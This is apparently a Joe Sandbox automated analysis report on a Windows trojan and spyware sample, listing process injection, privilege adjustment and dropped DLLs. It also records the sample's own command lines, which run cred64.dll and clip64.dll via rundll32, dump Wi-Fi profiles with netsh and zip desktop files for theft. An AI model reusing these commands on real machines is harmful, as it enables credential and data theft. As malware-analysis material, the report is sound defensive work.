Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\cred64[1].dll B91A3743C7399AEE454491862E015EF6FC668A25D1AA2816E065A86A03F6BE35

Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: String function: 004DAC60 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: String function: 004D4640 appears 136 times
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Code function: String function: 00007FF7CDC41050 appears 106 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF68DEA1050 appears 106 times
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Code function: String function: 00007FF673521050 appears 106 times
Source: C:\Windows\System32\msiexec.exe	Code function: String function: 00007FF63B521050 appears 106 times
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: String function: 00338B3C appears 34 times
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: String function: 0032A414 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: String function: 00324640 appears 272 times
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: String function: 0032AC60 appears 112 times
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: String function: 00332B28 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: String function: 00007FF7102C2760 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: String function: 00007FF7102C25F0 appears 100 times
Source: C:\Windows\System32\audiodg.exe	Code function: String function: 00007FF6FDB51050 appears 106 times

Source: api-ms-win-core-localization-l1-2-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.11.dr	Static PE information: No import functions for PE file found

Source: mggoBrtk9t.exe	Binary or memory string: OriginalFilename vs mggoBrtk9t.exe
Source: mggoBrtk9t.exe, 00000000.00000003.1322744379.0000000000710000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameServices.exe2 vs mggoBrtk9t.exe
Source: mggoBrtk9t.exe, 00000000.00000000.1321742841.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameServices.exe2 vs mggoBrtk9t.exe
Source: mggoBrtk9t.exe, 00000000.00000003.1322805683.00000000007B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameServices.exe2 vs mggoBrtk9t.exe
Source: mggoBrtk9t.exe, 00000000.00000003.1322765972.0000000000760000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameServices.exe2 vs mggoBrtk9t.exe

Source: 5.2.explorer.exe.c5b0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 5.3.explorer.exe.bf9b350.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 5.2.explorer.exe.aff0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 5.0.explorer.exe.aff0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 5.3.explorer.exe.bf9b350.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 2.2.svchost.exe.21c7ec7d000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 5.2.explorer.exe.bf9b350.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 5.0.explorer.exe.aff0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 5.3.explorer.exe.bf9b350.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 2.2.svchost.exe.21c7ec7d000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 5.3.explorer.exe.bf9b350.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 5.2.explorer.exe.bf9b350.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 5.2.explorer.exe.aff0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 5.3.explorer.exe.bf9b350.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 5.2.explorer.exe.c5b0000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 5.3.explorer.exe.bf9b350.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 00000005.00000000.1347856091.000000000AFF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 00000002.00000002.3800744010.0000021C7EC7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@59/84@0/2

Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe

Code function: 11_2_00007FF7102C29E0 GetLastError,FormatMessageW,MessageBoxW,

11_2_00007FF7102C29E0

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Code function: 0_2_00007FF7CDC44264 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	0_2_00007FF7CDC44264
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Code function: 0_2_00007FF7CDC440E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,OpenProcess,WaitForSingleObject,CloseHandle,	0_2_00007FF7CDC440E4
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00007FF68DEA40E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,OpenProcess,WaitForSingleObject,CloseHandle,	2_2_00007FF68DEA40E4
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00007FF68DEA4264 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	2_2_00007FF68DEA4264
Source: C:\Windows\explorer.exe	Code function: 5_2_0C5B3270 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,OpenProcess,WaitForSingleObject,CloseHandle,	5_2_0C5B3270
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Code function: 6_2_00007FF673524264 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	6_2_00007FF673524264
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Code function: 6_2_00007FF6735240E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,OpenProcess,WaitForSingleObject,CloseHandle,	6_2_00007FF6735240E4
Source: C:\Windows\System32\audiodg.exe	Code function: 8_2_00007FF6FDB54264 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	8_2_00007FF6FDB54264
Source: C:\Windows\System32\audiodg.exe	Code function: 8_2_00007FF6FDB540E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,OpenProcess,WaitForSingleObject,CloseHandle,	8_2_00007FF6FDB540E4
Source: C:\Windows\System32\msiexec.exe	Code function: 9_2_00007FF63B524264 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	9_2_00007FF63B524264
Source: C:\Windows\System32\msiexec.exe	Code function: 9_2_00007FF63B5240E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,OpenProcess,WaitForSingleObject,CloseHandle,	9_2_00007FF63B5240E4

Source: C:\Users\user\Desktop\mggoBrtk9t.exe

Code function: 0_2_00007FF7CDC44004 CreateToolhelp32Snapshot,Process32FirstW,wcscmp,Process32NextW,CloseHandle,

0_2_00007FF7CDC44004

Source: C:\Users\user\Desktop\mggoBrtk9t.exe

File created: C:\Users\user\AppData\Roaming\A629855EB2A22925382193

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\worker_RdDwvE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2860:120:WilError_03
Source: C:\Windows\System32\audiodg.exe	Mutant created: \Sessions\1\BaseNamedObjects\worker_kBEqZh
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3240:120:WilError_03
Source: C:\Windows\System32\msiexec.exe	Mutant created: \Sessions\1\BaseNamedObjects\worker_BAccdq
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Mutant created: \Sessions\1\BaseNamedObjects\43266f2abbf198987ad62d4962cf7134
Source: C:\Windows\System32\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\GqgWzd
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1180:120:WilError_03

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\56C7.tmp

Jump to behavior

Source: mggoBrtk9t.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process

Source: C:\Windows\explorer.exe

File read: C:\Users\user\Searches\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\mggoBrtk9t.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main

Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.00000000030D5000.00000004.00000800.00020000.00000000.sdmp, 6148.tmp.ssg.exe, 00000011.00000002.1764205289.000000000302C000.00000004.00000800.00020000.00000000.sdmp, 6148.tmp.ssg.exe, 00000011.00000002.1764205289.00000000030BF000.00000004.00000800.00020000.00000000.sdmp, 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000003042000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000001A.00000002.3469272832.0000022206438000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000002.3004550203.00000247D3368000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: mggoBrtk9t.exe

ReversingLabs: Detection: 55%

Source: 759D.tmp.gfx.exe	String found in binary or memory: " /add /y
Source: 759D.tmp.gfx.exe	String found in binary or memory: " /add
Source: Gxtuum.exe	String found in binary or memory: " /add
Source: Gxtuum.exe	String found in binary or memory: " /add /y
Source: Gxtuum.exe	String found in binary or memory: " /add
Source: Gxtuum.exe	String found in binary or memory: " /add /y

Source: C:\Users\user\Desktop\mggoBrtk9t.exe

File read: C:\Users\user\Desktop\mggoBrtk9t.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\mggoBrtk9t.exe "C:\Users\user\Desktop\mggoBrtk9t.exe"
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe "C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe"
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe "C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe "C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe"
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Process created: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe "C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe "C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe "C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe"
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Process created: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe "C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe "C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe "C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe "C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe "C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Process created: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe "C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Process created: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe"
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll, Main
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Section loaded: iertutil.dll	Jump to behavior
